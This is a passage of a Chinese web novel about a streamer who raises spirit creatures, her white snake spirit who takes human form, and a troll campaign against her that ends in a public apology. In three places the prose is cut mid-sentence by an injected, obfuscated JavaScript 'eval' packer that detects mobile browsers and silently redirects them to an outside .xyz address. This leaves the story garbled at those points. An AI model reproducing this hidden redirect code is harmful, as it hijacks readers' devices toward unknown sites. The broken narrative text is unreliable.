“陈”很快发来了另一个链接,没标题没落款,内容也无法识别,看上去不像是个正常网站。 说话人点开了这链接,画面跳转。这链接指向的界面就没有购物app的界面那么好辨认了,舒情自觉没见过。她抬头看看学识渊博的素,收获了一个摇头;再看看见多识广的戚大小姐,也是摇头。 后台的购物app弹出了“卖家已发货”的提示,这段画面到此就断掉了。 银光拂过镜面,很快,镜子里倒映着的只剩下一个已经熄灭的手机屏幕。 念念眼睛里的银光一同熄灭了,它疲惫地趴在原地,往那“伞”底下又蹭了蹭。 “我……我去,”戚昀卡了半天,才挤出一句,“我没在做梦吧?” 舒情吞掉了茶水里的红枣,接过视频,迟疑地问:“这能当证据吗?” “管他呢,”戚昀说,“就算不能告他们,也能带一波节奏啊!虽然这俩人都用的烂大街网名,但这不还有个链接吗,我搜一搜。” 她嘁哩喀喳地将录像截了个图,识别了图里的链接,一点进去,“咦”了一声,“没权限访问?” 舒情探头看看,说:“我摇个人。” 她把链接转发给了一个程序员前同事——野生的亲姐妹,大学一块混动漫社出cosplay的交情——留言,“给我黑进去,江湖救急,三杯奶茶!” “野生姐妹”很快回复:“边去,减肥呢!” 这就是答应了的意思,舒情耸耸肩,告诉另外两个人:“她说明天。” 九素:“?” 他怀疑自己对现代汉语的学习有什么错漏。 “成,那搞定了你转给我。”戚昀倒是能理解这种闺蜜之间的加密通话,“让我欣赏欣赏,是何方勇士这么有勇有谋。” 她也打开通讯软件开始摇人,以舒情对她的了解和她当前的面部表情来看,摇的八成是一些具有充分破坏力的外援。 这时候念念已经从疲惫中缓了过来,九素如法炮制,让它又读了一遍戚昀带来的杂物。但这些杂物想必没怎么经过商家的手,只读到了一些念念从前日常行动、身体检测的无效信息。 银光拂过,镜子里,爬在商家手上的念念消失了,“精神能量显化仪”又恢复成了一面普通的小镜子。 15. 迷梦 九素打乱了那个小小的阵法,包厢里温度回暖,寿喜锅里的泡泡终于咕噜噜地冒出了头,一室里香气四溢。 戚昀抱回了念念,摸摸它毛茸茸的脑袋,第二次问九素:“先生……啊不是,前辈,前辈能加我个联系方式吗?上次申请你没通过,但我有些事想问。” “你现在可以问。” 舒情:“……” 她当时也是死缠烂打老半天才加上的,这可真是一视同仁地拒人于千里之外。 戚昀倒觉得没什么——她和舒情一样,把九素脑补成了什么“隐世家族的传人”之类,世外高人不想和红尘凡人产生太多联系,可以理解。 她就是想知道念念以后是不是真能这么厉害,得到了一句实事求是、毫不委婉的“很难”之后,她自行把这个定论理解成了“有机会”的意思,追着问了一系列的手段、途径、方式。 舒情在旁边安静吃饭,她发着烧,没胃口,吃得很少,却没忘记给她的小蛇妖打包新鲜的三文鱼刺身。 九素虽然在应付戚昀的问题,眼角余光却一直凝注在舒情身上,看她动作,眼底露出了一丝微不可察的愁绪。 记挂着舒情在生病,这顿饭三个人吃得都很快,没一会儿盘光碗净,就打算各自告辞了。 戚昀左手抱着念念,右手伸出来打算扶舒情一把,问:“你住哪儿,要我送你回去吗?我有司机。” “不用,”舒情承了她的好意,借她的力站起来,笑说,“我家就在对面,佳——” 黑暗猝不及防地兜头罩下,她后面的半个“加”字就这么断在了唇齿间,没有了下文。 戚昀尖叫一声:“阿舒!” 失去意识的最后一刻,舒情仿佛跌入了一个微凉的怀抱里。视野彻底黑下去之前,似乎看到了九素的脸,他那种万事在握的疏远神情,几乎像面具一样裂开了,露出肉体凡胎般的惶然之色来。 她不确定自己是不是看错了。 “阿舒……” 人在昏迷的时候原来并不是全无意识的,她隐约听到有人在问,“为什么?” 那是个很熟悉的声音,舒情想不起自己在哪里听过。那声音清越而淡漠,纵然压上了万丈的坚冰,也压不住底下透出的一丝走投无路的绝望。 她听得也伤心起来,于是吃力地伸出手去,想提供一点安慰。 然而这轻轻一动,似乎牵扯到了什么,她胸腹之间忽然撕扯着痛起来,仿佛被利器穿身而过。 “怎么回事,”舒情诧异地想,“我不是发烧吗?” 难道给她烧出什么别的病来了? “我是个至为邪异的妖物,”仿佛有人极温柔地握住了她的手,环抱着她,那声音却仍旧冷得没有一丝温度,“三拜九叩去求诸天神佛,神佛也不肯应我。而今只有我自己,勉强还能一用,你不要怪我。” “什么乱七八糟的?”随着那人的拥抱,身上的疼痛好似消失了,但舒情更加一头雾水,“什么邪异妖物、诸天神佛?” 妖怪们如今都是保护动物,而漫天神佛,是人们无助之时的寄托,指望神佛来给她治病,那不是闹呢吗? 随后,她听见自己的声音在说:“傻子。” 这声音仿佛不发自喉舌,而是发自颅脑,就像它只是一个不曾诉诸于口的想法。 她又听见自己在想:“昔日以心为形役,现在终于随心所欲了,你该祝贺我啊。” “……” 舒情感到十分凌乱,她两边大脑好似分了家,各想各的,完全无法统一。 她匪夷所思地想:“什么情况,我魂穿到异世界了?而且这原主的魂还在?” 那人忽然极轻地、自嘲似的笑了一声,“你怪我也无所谓。” 他的声音变得愈发冷硬起来,非得是极深的怨恨、极深的绝望,才能至此。 “这是最后一次。等你醒来以后,我再也不会见你。到了那时,你一切都不会记得,更不可能记得我。” “过往种种,至此而休,今日我还你一命,他日即是来生,我和你永不相见!” 不是,等等,多个朋友多条路,这原主干了什么歹毒事儿,值得发这永不相见的毒誓啊? 舒情想像以前那样调侃一句,然而却感到自己仿佛被那人的绝望浸染了,心底沉得几乎透不过气。 她这短短二十几年的人生中,还从来没有体验过这种……仿佛积累了百年、千年的绝望。 她被压得近乎窒息,终于什么也听不见了,陷入了更深的黑暗之中。 舒情再醒来的时候,盯着雪白的天花板,花了足有快一刻钟,才从这个诡异的梦里真正醒过来。 四周看了一圈,她发现自己在医院里。 她在一个靠边的床位上,外面天已经大亮了,看来自己这一觉昏睡到了第二天早晨。她手上挂着点滴,刚打到一小半,床边空无一人。她旁边床位的病友是位中年女士,在和两个不知道是姐妹还是闺蜜的,正聊得热火朝天。 “哦呀,小姑娘醒了,”女士热情地朝她笑,“你男朋友给你弄吃的去了,他托我告诉你一声。” 舒情那点惆怅之心甚至还没来得及冒出个头,就被“男朋友”这三个字浇灭了,她赶紧哑着声音说:“谢谢,不过他不是我男朋友。” “肯定是九素送我来医院的,”她心说,“人家已经帮我不少忙了,要是知道我放任别人误会我和他的关系,非翻脸不可。” 九素这时候正好拎着一个保温的饭盒进来了,听见舒情迅速地撇清了关系,眼神有一瞬间的黯淡。 他仍然是一身不染纤尘的白衣,自门前穿行而来,几乎令人生出一种天使降临的错觉。 来到舒情病床前的时候,他已经彻底收拾好了表情,朝邻床的女士颔首示意,又对舒情说:“醒了就先吃点东西。” 饭盒盖一揭开,鲜美的香气飘出来,里面是一碗鸡汤挂面。 别说舒情病中没有胃口了,就算她有心思吃饭,也被惊得不想吃了——她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912403|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在想起来了,九素的声音和她梦里那个人一模一样! 只是九素的声音清冷平静,没有梦里那人的情天恨海、苦大仇深,她才没立刻想起来。 “我……”她勉强坐起来,觉得浑身都软绵绵的,没有力气。她用力清了清嗓子,问,“我们从前是见过吗?” “……”九素默了片刻,“我应该不是在路边捡到一个昏迷姑娘的好心路人。” 舒情难以启齿地低声说:“我是说……我是说上辈子。” 九素这次不作声了,用迷惑而怜爱的眼神看了她一眼,掏出她的诊断单子,似乎是想看看她是不是烧坏了脑袋。 舒情有点尴尬,自己也怀疑自己是高烧之中出现了幻觉,就坡下驴地顺着诊断单子问:“我怎么了?” “没什么,你只是外感风寒,再加上劳心劳力,才会忽然昏倒。好好休养两天,就不会有事了。”九素平静地告诉她,“我托付戚小姐去应对网上的那些人,所以是我在这里照顾你。” 这话说得……好像“网上的那些人”是她和他的事,戚昀反倒是个外援一样。 那种诡异的感觉莫名其妙地又上来了,舒情赶紧清空大脑,道了句谢,接过他递来的鸡汤,又问:“那小红怎么办,它自己在家里,不要紧吗?” 九素仿佛很高兴她一睁眼就问小红,眼睛里露出了一丝笑意:“不要紧。打完点滴,你就能回家了,这几个小时,它会照顾好自己的。” 舒情这才勉强放下心。她用勺子搅着鸡汤,其实并不想喝,但碍于九素一片心意,实在不好拒绝,低头抿了一小口。 然后她眨眨眼,大口喝了起来。 不知道九素从哪弄来的鸡汤,十分鲜香可口,微烫的温度落进胃里,异常妥帖。舒情昨天生病,睡了一天,晚上在日料店里也几乎没吃什么东西,算起来,一天一夜都没怎么好好吃饭,不觉得饿,只是因为发烧影响了食欲。 现在她被这口汤勾起了馋涎,顿时有了胃口,一口气全吃下去,四肢百骸都好似被熨平熨暖了。 她翻着饭盒来回看,想找到商标好丰富自己的美食收藏夹,结果九素告诉她:“是我做的。” 舒情:“……” 这氛围微妙地更加尴尬起来了…… “手艺真好,”她硬着头皮说,“不过我实在不好意思这么麻烦你。等我回家,我就喊我闺蜜过来陪我吧?耽误你太多时间,我实在过意不去。” 九素一顿,凉凉地睨她一眼,略带嘲弄地开了口:“我本来也没想要去你家照顾你。” 就在舒情尴尬到已经快要坐立不安的时候,旁边的中年女士开了口,“哦哟,小伙子可不兴这样追姑娘的!要让人家知道你对她好呀,哪有人家病着还这样撅回去的!” 九素:“…………” 他一口气几乎哽在喉间,半晌,阴恻恻地说了句:“我没有在追她。” “对,对。”舒情赶紧从旁找补,“他这是……好人好事,行善积德。” 16. 缠 邻床的女士眉头一抽,想必是没见过这么别致的行善积德,摇摇头,放弃了继续发表指导意见。 舒情和九素也谁都不再说话了,过了一会,见旁边的病友又睡下了,舒情这才悄声问:“你是不是误会了?我只是觉得给你添了太多麻烦……” 九素也恰在此时低低地问:“你不想见我么?” 两人同时开口,又都恰好回答了彼此,只好同时静默下来,空气中尴尬分子的浓度翻倍攀升——现在是两个人在尴尬。 片刻,舒情才笑说:“那哪儿能呢,不想见你,我约你出来吃饭干什么?就是吧……从刚认识开始,到现在,我好像一直在麻烦你,实在是不大好意思。再说,咱俩才第一次见面,你在我家,也不方便啊。” 九素垂下眼睫,淡淡地说:“你答谢过我了。” 舒情:“……” 那只是一种礼尚往来的表示,到底谁才会认为一顿日料,能请来一位很有本事的超常生物学者啊?还帮忙得这么尽心尽力。 就在舒情绞尽脑汁地琢磨着“到底怎么才能和他说明白”的时候,真正的白衣天使降临了,给舒情拔下了针,又测了一次体温——还不错,回落到了37.9。 “回去之后好好休息,”医生嘱咐她,“你身体指标还好,主要是太劳累了。正常吃药,过两天要是还不能退烧,尽早过来复诊。” 舒情答应着,领走了一背包的药,被九素送回了公寓门口。她从九素手里接过包,邀请他:“不进去坐坐吗?” 九素似笑非笑:“不是不方便吗?” 舒情无奈。 她是一个病人好不好,抓着这两句话怼一个病人是应当的吗? 好在九素终于意识到了自己行为的不妥之处,没跟她继续计较这只字片语,他抬起手来,仿佛想摸一下她的头,到底觉得唐突,还是缩了回来,不自然地别过脸:“我今晚再来看你。” 舒情没忍住,欣赏了片刻。 好看的人窘迫起来别有风味,她看在脸的份上,原谅他了。 她知道九素的意思是晚饭的时候再来照顾她,也没再推辞,刷开了门,人已经进去了,但从门缝里探出了脑袋,笑说:“谢谢。” 她病了两天,头发毛着,今早甚至没有洗漱,只拿湿巾擦了擦脸,别说好看了,甚至都不太得体,但是这么一笑,依旧灿烂明艳,那些没修的边幅全都不重要了。 九素回以一笑。 舒情关上门,心情甚好地往屋里走,边走边叫:“小红?” 一分钟后,小白蛇钻了出来,亲昵地循着她的手臂盘上了肩膀,朝她吐信子。 舒情盘了小蛇一会,又打开回家路上重新买回来的新鲜刺身——小妖怪和人是一样的,答应过的事就不能不做到,昨天说好的“去不了多久”因为不可抗力食言了,那起码“打包好吃的”得实现。 “我得再去躺会儿,”舒情陪了它片刻,还是头晕,只得给它打了盆水。小蛇爱干净,吃完饭要喝水和泡水,以免身上留下味道。 她躺到床上,但没有睡意,于是打开手机,翻看短视频app。 一晚上过去,评论区和弹幕的风向又不一样了,戚昀迅速地召唤出了一群人来控评,两边各执一词。吃瓜群众左右摇摆,不知道该信哪个,绝大部分人选择了居中观望,先等两边吵出个结果来再说。 舒情又看了看自己昨天顶着高烧发的置顶声明,现在,底下说“相信她”的人也多了起来,不是昨天一边倒的嘲讽乃至于辱骂了。 她跟戚昀说:“谢谢。” 戚大小姐其实完全可以不管她这个号的,控她自己的评就足够了。 “谢啥,本来就是咱们两个人的事。”戚昀回她,“你咋样了,退烧了吗?” 舒情:“还没呢,不过应该快了。怎么样,就是‘今妖妖’?” “没错!” 她们说的“今妖妖”是个老牌的养妖up主,说起来热度比舒情当下还略高一些。昨天下午她俩对着宠物区up列表讨论怀疑对象的时候,一开始还没有把她列入怀疑对象——因为照理说,人就算眼红,也是眼红比自己强的人,没事不会和不如自己的人过不去。 但等她俩发现“今妖妖”的标签是“超能力”“妖怪小短剧”“萌妹饲养员”,甚至也养了一条白色的蛇妖时,就都严肃地沉默了。 如果说眼红比自己强的人,属于人之常情,那提前提防高度相似的对手,以防对方带走原本属于自己的受众,就属于一种竞争的常理了。 “她经营这个号到现在,都快四年了。”戚昀说,“到现在也就只有两条百万播放的视频。你这个号,创号才不到一年呢,开始拍妖怪也就这个月,结果你连这个公益广告播放都九十多万了。她有想法不是太正常了吗?咱们不能光看粉丝量啊。” “好叭,”舒情阴恻恻地笑,“哼哼,既然知道了是谁,等我好好给她回敬一下。” 戚昀:“对!不就是买黑水造谣吗,好事不容易干,坏事谁还不会?我已经找人去扒她黑历史了。她早期那些视频那都没眼看,就是拉着拍妖怪的幌子拍自己呢。” “自己一堆毛病,还给别人买黑水,我就不明白了,您是怎么敢的?” 舒情躺在床上乐,给大小姐回了个大大的“干得漂亮”表情包。 就在这时,手机里进来了她那程序员闺蜜的新消息,闺蜜一连发来了好几张屏幕截图。 “搞定,”闺蜜说,“是个内网,用来水数据的,这是个在视频底下刷负评的任务,连话术都指定了,专门黑人。” 舒情回了一个飞吻,把屏幕截图打包转给戚昀——有了这个,才算是证据确凿。 念念“读取”出来的那些画面,不能当呈堂证供使。 倒是眼下的风波结束以后,能当做视频素材用。 舒情放飞思绪地想着,谢过了闺蜜,约定了病好之后请她去蹦迪,又和戚昀商量好了先放证据,再以眼还眼,安排好一切之后,她才终于开始犯困。 她支棱起来拉上窗帘。小蛇吃完了饭,也泡完了水,在一片昏暗中,游到了她怀里。 “要是到晚上有人敲门的话,”她叮嘱,“你就把我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927202|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫醒,好不好?” 小蛇吐着信子蹭蹭她的脸,靠肢体语言应下了这项任务。 它盘在舒情心口注视着她,她的心跳平稳,呼吸也逐渐轻而均匀起来,已经睡着了。 小蛇从她身上爬下来——幼崽长得快,好吃好喝养着的幼崽长得更快,舒情养了它快一个月,已经从原先不足小指粗细,养到了有她食指那么粗了,不过,还是条能当个挂饰戴的小蛇。 此刻,小白蛇全身上下寒气闪烁,在这团寒气里很快地拉长、变大。须臾间,几乎变成了一条雪白的蟒蛇,足有她小臂一般粗细,尾巴几乎垂到了地面上。 妖蛇朝舒情游去,尾巴尖探向她睡裙的衣襟…… 不,不行。 虽说已经不是从前那样男女大防的时代了,但是,她想必不情愿吧。 他止住了,隔着一身薄薄的睡衣,它缓慢地温柔地缠上了她,从脚踝缠到肩腋,好似一株纯白的藤蔓在攀援乔木,也像是传说中的恶龙,在守着它稀世的珍宝。 倘若不化出人身的话,这也就是蛇类暧昧而隐晦的拥抱了。 “她把你当成蛇,所以不避讳你。”他告诫自己,“但你自己难道不知道自己是什么东西吗?” “你自己难道不知道你抱着什么念头吗?” 如果真的只是为了给她降温、让她睡得舒服一点的话,隔着衣裳,这样轻轻地盘着她,就足够了。 可是他忍不住,忍不住地收紧了蛇身,像对待将绞杀的猎物一样绞住了她,害怕她有朝一日会彻底脱身,害怕他会再也见不到她。 她根本不是什么“外感风寒”,她是受那些咒骂所累——祝福能够加诸她身,诅咒自然也不例外,从前世就是如此。 然而前生她是昆仑之巅的霞山君,活人无数,没有人胆敢信口诅咒她,星星点点的那点恶念,更成不了气候。 可是在这个时代里,人的喜怒都是可以被身外之物、被不相干的人随意引动的。她什么都没做,就能被记恨,就有一场无妄之灾。 那个晚上,漆黑的恶意几乎像茧一样包裹住她,他却几乎毫无办法。 理智上他知道这是“怀璧其罪”,但追根溯源,到底也和他脱不了关系。 “你能保护她吗?”他问自己。 妖蛇吐出信子,舔了舔她的眉心。他发现自己缠得太紧了,她暴露在睡衣以外的小月退已经留下了他腹鳞的印痕,连忙放松了一些,怕她醒来之后看出什么端倪。 之前的打算……大概不能如愿了。 他想,在这问题解决之前,他都不可能抽身离去了吧。 他把头枕在了她肩窝里。舒情已经睡熟了,下意识地伸手一搂,就这么抱住了他。妖蛇全身一僵,恐怕被她睡梦中觉察出不对,然而她并没有,还挺舒服地翻了个身,连带着他也跟着翻滚了一圈。 妖蛇无奈地游动着,重新找了个合适的姿势盘好,脑袋顺势就搁在了她鬓边,眷恋地碰了碰她的耳轮。 舒情嘴唇翕动,仿佛在梦呓。 他侧耳,听见她轻轻地在说,“……素……” 17. 失败的告白 舒情醒过来的时候,已经到了黄昏。 小蛇妖没叫她,她是被一股浓稠的米香味弄醒的。 她目瞪口呆地盯着自己的开放式小厨房——九素不仅已经进屋了,甚至已经做上了晚饭,闻着这个味道,那电饭煲里的米粥估摸着都快炖好了。 不光是粥,还有佐粥的小菜:水蒸蛋、清炒小菠菜、番茄豆腐……以及一小碗雪梨银耳汤,作为餐后甜点。 九素脑后生眼一般,回头望了她一眼。他今天为了方便,把银发束成了低马尾,袖口挽起了一点,露出了一截雪白而且骨节分明的手腕。 他没有那么纤尘不染了,看上去就不再那么遥远,他十分自然地告诉她:“再等五分钟。” 其自然程度,简直像他们已经是同居了一年以上的男女朋友,而不是今天才第三次见面的陌生人。 “好。”舒情乖巧点头,并问,“你怎么进来的?” “你的小妖怪。” 舒情慢半拍地想起来,她家小红不仅会开门,还会拿外卖。 “小红呢?” “在泡水。”九素指了指洗手间的门,“它是喜欢生活在水中的妖怪。” 舒情“哦”了一声,打开购物软件,往购物车里添加大小合适的鱼缸。 五分钟之后,她的床头柜蓬荜生辉,中间摆上了一碗香甜糯白的百合粥,左右排开四色小碗,红绿金白,色泽鲜艳,香与味俱全。 早上那碗装在饭盒里的鸡汤面,真是太限制他的操作了…… 九素看她不动筷子,“怎么了?” “我在想,哪天是黄道吉日,”舒情没过脑子,随口秃噜出来一句,“好娶你过门。” 九素:“……” 舒情的脑子慢半拍地接入了反射弧,恨不能把舌头就着百合粥吃了。 偏偏九素还坐在对面,似笑非笑地接茬道:“想娶我,硬件条件恐怕不太行呢,姑娘。” 舒情结结实实地用番茄豆腐塞住了自己的嘴,以免自己再就着这句话说出什么“正在攒钱换房子中”之类没溜的豪言壮语。 九素垂下眼睫,忍俊不禁地一笑。 自打相识以来,他似笑非笑的讥诮神情相当之多,用于社交场合的工具似的笑容也不少。但这么一个像正常人一样,自发源于心中七情的一个笑容,冰川消融、霜雪化尽,舒情还是第一次见。 就好像这世上本没有什么事能让他短暂地开怀,除了他亲手做的菜得到了她的喜欢……以及她有口无心的一句调戏。 电光火石的一瞬间,舒情想:他是不是喜欢我? 这个念头浮出来的刹那,她的心乍然跳到了喉咙口,嘴里酸甜可口的番茄忽然没了味道,五味全都到了心里,她有点沉不住气。 被喜欢这件事,对她来说没什么稀罕的——她能欣赏别人的美,对自己长什么样自然不至于完全没数,自打初中开始,被同龄异性搭讪就算不是她的日常,那也属于周常。 然而被自己隐约有好感的人偷偷摸摸地喜欢,那就是开天辟地破题头一遭了……当然这主要得怪她自己,活了二十来年,才终于长出了一颗迟到多时的“春心”。 她的春心大器晚成,于半个刹那之间跨越八万春光,落地长成参天大树。 但然后呢,心旌动摇了,接下来的号角从哪个音开始吹? 舒情极度缺少经验,因此拿不定主意,在脑子里列队似的过了一遍从前那些对自己动过心的娃们,发现全都是一帮失败案例,哭笑不得地清空了思绪。 她又到自己阅读的小说动漫甚至游戏里去找经验,发现大家的心动与告白全都伴随着生死危机,并没有谁能告诉她,这吃着饭忽然怦然心动接下来该怎么办。 舒情咬了一口水蒸蛋,摆烂地想:“事已至此,先吃饭吧。” 她几乎是神思不属地吃完了一顿饭,坐在被窝里捧着碗,拿小叉子戳里面切好的雪梨吃,盯着九素的背影发了半天的呆,叫他,“九素。” 九素微不可察地一僵:“不是前辈吗?” “可算了吧。”由于经验过分空白,舒情原本的话题就这么被带跑了,她嘲笑他,“你大学毕业了吗,就骗人家叫你‘前辈’了?” 九素在收拾她的碗筷,闻言凉凉地睨了她一眼。 舒情继续撩拨:“哎,你到底多大了?” “你不会想知道的。” 舒情吃吃地笑起来,怀疑他真的大学还没毕业——年下,挺好。 她笑眯眯地又叫:“九素。” “……”九素终于无声地叹了口气,“你就非要这样叫我不可吗?” “那你说该怎么叫,”舒情不太虚心地请教,“要不我叫你的本名?‘九素’不是真名吧,你本来叫什么?” 九素合上了她的碗柜,无声地注视着她。 一个名字已经抵达了嘴边,然而他终于没有说出口,死死地咬在了唇齿之间,以至于他再开口的时候,几乎带着不可觉察的冷硬之意。 他简短地说:“这就是我的本名。” 舒情:? 拿自己的真名实姓网上对线,也不知道是什么毛病,舒情操心地叹口气,觉得这人的知识点怕不是全都点在了“自然能量知识”与“烹饪技能”上。 她把这个名字在嘴里又咀嚼了一遍,这不是一般父母会给孩子取的名字,九、素,音发自齿间,闭口音,仿佛含在口中的珍珠一样珍重。 “是什么含义呢,”舒情好奇地问,“听上去像个古风游戏里的治疗门派……呃我是说,听上去像个中医世家会取的名字。” 九素轻描淡写地回答道:“只是因为我生来银发而已。” 舒情无言以对。 这听上去,和她一开始给小蛇妖取名叫小白,并没有什么区别啊…… 她敏锐地察觉到这个话题不宜再深谈下去,立刻终止了关于姓名的讨论,低下头继续思考,她该怎么跟九素把话说开比较合适——双向暗恋听着挺好,但她还是喜欢大大方方地挑明白,人长一张嘴除了吃饭,不就是为了把事说明白吗? 舒情重新开始组织语言,心说,这回可不能再跑题了! 就在这时,九素擦干净了手,走近了,轻轻摸了摸她的额头。 他的本意肯定是想看看她退烧没有,但是那冰凉的手一碰上来,如湃冰雪,一股豁亮的冷意电似的直冲进她脑海。 言为心声,何以粉饰? 舒情脱口问道:“你是喜欢我吗?” 九素整个人都凝固了,贴着她额头的手都忘了收回来,像一座雕塑似的,僵在了原地。 他的长发密而且多,现在重新解开了,于是顺着肩膀披垂下来,笼罩出一片极小而封闭的空间。 交错的眼神就在这片狭小的空间里疯狂升温,舒情看见血色一直蒸上了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935251|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵,竟烧出了肉体凡胎的活人气。 她鬼使神差地伸手碰了一下他的耳朵,心想:这答案还用说吗…… “你不是说,”九素好似耳朵上有个开关,被她一碰,整个人终于通了电,恢复了行动能力。他倏然直起身,退了半步,“说我,‘好人好事,行善积德’吗?” 舒情无力地问:“你就非得和我较这么几个字的真吗?” 九素避开了她明亮的眼神,轻轻地说道:“我是在告诉你,我只是在帮你。” 血色像潮水一样从他耳尖开始退去了,他整个人又恢复成了原本遥不可及的样子。 舒情理智上知道自己这是遭遇了人生第一次表白被拒——虽然她的问题,甚至都不是“你喜欢我吗”这种能暗示自己心意的句式。 然而她感情上完全没有“告白失败”该有的灰心与沮丧,反而皱起眉,感到困惑且茫然。 九素一直在以眼角余光关注她的表情,看到她皱眉,心头像是猝不及防地被刺进了一根长针。 不太起眼的一痛……然而穿透力却极强。 这没什么,他想。她于感情之事上,向来不是纠缠不休的性情。 给她一点时间吧,倘若没有这一副还算能入眼的人皮在她眼前晃,她想必……很快就能看开了。 看开就好了。 “朋友之谊,”他轻且缓慢地说,“你不必放在心上。” 舒情面无表情地盯着他。 “你大概明天就会好了。”九素继续说,“我继续逗留的确不方便,先告辞了,你好好睡一觉。” “哦,好。”舒情全靠从小到大养成的礼貌,机械性地说,“那你路上小心。” 九素一边急于脱身,一边又为她这干脆利落的毫不挽留心酸了片刻,在心里自嘲地冷笑一声,嘲讽自己的软弱。 他干脆利落地开门走了,甚至都没回头。 舒情:“……” 她满脸空白地在床上坐了一会,直到小蛇摇头摆尾地爬上她的手腕,她才抓狂地将小蛇一通揉搓,发泄掉了堵在心口的一口气。 什么鬼,九素对她到底有没有意思,以为她看不出来吗,她又不瞎! 她往后一仰,躺倒在床上,咬牙切齿地心想:“我看你能装到什么时候!” 但又是为什么呢,难不成谈个恋爱,还有什么她不知道的坏处? 她手机屏幕忽然亮了起来,舒情下意识以为是九素在找她进行什么补充说明,磨叽了半天,才拿过来看。 结果并不是九素,是戚昀,给她发了一张截图。 “今妖妖已经承认了!”戚昀说,“她在咱俩的评论区下面都道歉了,我看现在大家都已经调转枪口在骂她,你看呢?” 舒情打开短视频app,果然,评论区里风向又变,如潮的骂声把今妖妖的道歉评论人工置顶,其他的,都是安慰她的话。 再往前翻,有些人默默地删了之前骂她的评论,更有些人坚持己见,绝不承认自己是被带了节奏,认为“苍蝇不叮无缝的蛋”。 至于为之前的揣测道歉的……扫眼望去寥寥无几,还不到十个人。 “起码在她自己的账号上道歉吧。”舒情一看就明白了,回复戚昀,“她为什么在我们的评论区道歉,为了让这些乱七八糟的评论都停留在我们这里吗?” “对,”戚昀恍然,果断决定,“让她直播道歉!” 18. 公开道歉 今妖妖直播道歉当天,戚昀财大气粗,把几个朋友都邀请到戚风影楼,雇佣了几位厨师,在会议室里安排了一顿大宴。 出席人员包括:戚昀自己、舒情、舒情的程序员闺蜜、以及两只小妖怪。 戚昀本来还想请九素过来一起答谢,无奈她没有九素的联系方式,唯一有联系方式的舒情又正好和九素陷入了尴尬期。 她硬着头皮去和九素提了一句,九素不出所料地拒绝了。鉴于他们上次不欢而散的分别,她实在是不好意思再生拉硬拽地请他来。 大屏幕上在投屏今妖妖的直播间,还没开播,但蹲守在这里的人已经不少,“重新做人”“好好认错”等弹幕满天在飘。 考虑到这是个女孩子和小妖怪的聚会,戚昀没弄什么高度数白酒,她准备了好几瓶低度数的果子酒,任凭大家自取。唯独制止舒情:“你这病刚好,能喝酒吗?那边有果汁,特意给你的。” “能喝。”舒情笑眯眯地说,“我已经完全好了,现在活蹦乱跳,不至于去和念念坐一桌。” 念念一回生二回熟,这次已经没那么怕小蛇妖了,同处一室,也能自在地在一边品尝鲜榨桃汁。闻言,它懵懵地一歪头,疑惑地看着舒情。 此情此景可爱翻倍,在场唯一没有小妖怪的程序员闺蜜忍不住调转了手机镜头,对准念念,抛弃了咕嘟咕嘟喝荔枝酒的小蛇妖。 戚昀看她想摸摸又不好意思的样子,笑说:“楠楠要是想摸,就摸呗。没事,念念很乖,不咬人的。” 涂楠闻言,朝戚昀露出了一个感谢的笑容,这才抱起念念大吸特吸,在幸福中还不忘瞪舒情一眼。 舒情毫不心虚。 瞪她做什么,她又不是不让涂楠摸小红,是小红自己凶,不许旁人碰它的。 小蛇妖喝完了荔枝酒,照旧爬回了她肩上,探头去咬她筷子上的清蒸鱼。 舒情喂给它,小声念叨:“怎么又这么凶啊。” 小蛇妖阴恻恻地盯了她一眼。 就在三个人吸猴喂蛇、其乐融融的时候,音响里忽然传出了窸窸窣窣的声音,戚昀拍桌子:“到点了!” 舒情抬头看,果然直播间屏幕亮了起来,今妖妖垂着脑袋,走到了镜头前。 大概是为了表达道歉的诚意,她今天没像往常那样美瞳假发、全副武装,不仔细看看,几乎认不出来。 一排排弹幕快速飘过: “赶紧的,道歉!” “苦主在吗” “道完歉好好和阿宝拍视频,别动歪脑筋了” “对不起。”今妖妖略带着哭腔,向着镜头鞠了一躬,“我是今妖妖,我在此向七日君女士、阿舒女士诚恳道歉……” 涂楠本来在沉浸式地投喂念念,闻声也抬起了头,朝舒情投去一个询问的眼神。 舒情肯定地说道:“对,之前让你帮我黑进去的那个水军网站,买水军的就是她。” 戚昀就把整件事——从她约舒情给念念拍视频开始,到她怎么甩事实摆证据要求今妖妖道歉,完完整整地给涂楠讲了一遍。 等她差不多讲完,今妖妖那边凄凄惨惨的直播也已经到了尾声。 